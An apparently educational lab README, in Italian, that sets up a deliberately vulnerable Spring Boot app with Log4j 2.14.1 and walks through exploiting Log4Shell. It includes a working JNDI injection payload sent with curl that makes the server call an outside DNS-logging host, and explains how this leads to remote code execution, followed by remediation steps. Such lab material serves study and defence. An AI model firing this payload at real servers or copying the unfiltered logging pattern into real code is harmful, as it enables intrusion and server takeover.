🔓 Dimostrazione della vulnerabilità Log4Shell (CVE-2021-44228)

Questo progetto è un ambiente di test controllato che consente di riprodurre e comprendere la falla critica Log4Shell (CVE-2021-44228) che colpisce la libreria Apache Log4j.

📁 Architettura del progetto

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 Obiettivo

Dimostrare come un attaccante può sfruttare la falla CVE-2021-44228 per forzare un server a effettuare una connessione di rete in uscita non autorizzata, semplicemente inviando una stringa di caratteri dannosa.

🔍 Analisi del codice vulnerabile

1. Gestione delle dipendenze (pom.xml)

Il file pom.xml forza l'utilizzo di Log4j 2.14.1, una versione precedente alla correzione di sicurezza:

<log4j2.version>2.14.1</log4j2.version>

Questa versione contiene la classe JndiLookup attivata per impostazione predefinita, che è la radice del problema.

2. Applicazione Java (VulnerableApplication.java)

L'applicazione espone un servizio web REST. La vulnerabilità si trova nel metodo index:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

Problema: L'applicazione recupera un parametro utente (input) e lo passa direttamente a logger.info() senza alcun filtraggio. Log4j interpreta quindi il contenuto come un potenziale comando.

3. Infrastruttura Docker (Dockerfile)

Il Dockerfile utilizza una costruzione in due fasi:

• Fase 1: Compilazione con Maven (maven:3.8.4-openjdk-11)
• Fase 2: Esecuzione con eclipse-temurin:11-jre

💡 L'uso di Java 11 è pertinente perché le versioni più recenti limitano per impostazione predefinita il caricamento di classi remote.

⚙️ Meccanismo dell'attacco

Lo sfruttamento si basa sull'iniezione JNDI (Java Naming and Directory Interface):

1. Log4j rileva la sintassi ${jndi:protocole://url} nei log
2. Tenta dinamicamente di connettersi all'URL specificato
3. In uno scenario reale, ciò consente di scaricare ed eseguire una classe Java dannosa (RCE)

🧪 Procedura di sfruttamento passo dopo passo

Fase 1: Preparazione

Assicurati che i seguenti file si trovino nella stessa cartella:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

Fase 2: Costruzione dell'immagine Docker

docker build -t vulnerable-app .

Questo comando scarica le dipendenze Maven (Log4j 2.14.1) e crea l'immagine.

Fase 3: Avvio del contenitore

docker run -p 8080:8080 --name demo-log4j vulnerable-app

L'applicazione ora è in ascolto sulla porta 8080.

Fase 4: Preparazione del testimone (Listener)

1. Vai su un servizio di logging DNS:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. Copia l'indirizzo fornito (es: mon-test.dnslog.cn)

Fase 5: Iniezione del payload

In un nuovo terminale, esegui il seguente comando:

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 Nota: Il carattere \ serve a eseguire l'escape del $ nel terminale.

Fase 6: Verifica

Torna sul sito dnslog. Vedrai apparire una richiesta DNS, a conferma che il server ha eseguito il codice iniettato.

📊 Risultato atteso

🚨 Conclusione

Il server ha effettuato una connessione in uscita verso una macchina esterna semplicemente registrando nei log una richiesta utente.

In uno scenario reale, questa connessione avrebbe permesso di:

• Scaricare una classe Java dannosa
• Eseguire codice arbitrario (RCE - Remote Code Execution)
• Prendere il controllo totale del server

🛡️ Rimedio

Per correggere questa vulnerabilità:

1. Aggiornare Log4j alla versione 2.17.1 o successiva
2. Disattivare i lookup JNDI: -Dlog4j2.formatMsgNoLookups=true
3. Rimuovere la classe JndiLookup dal classpath

📚 Riferimenti

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - Vulnerabilità Log4Shell

📜 Licenza

Questo progetto è fornito esclusivamente a scopo educativo. Usalo in modo responsabile ed etico.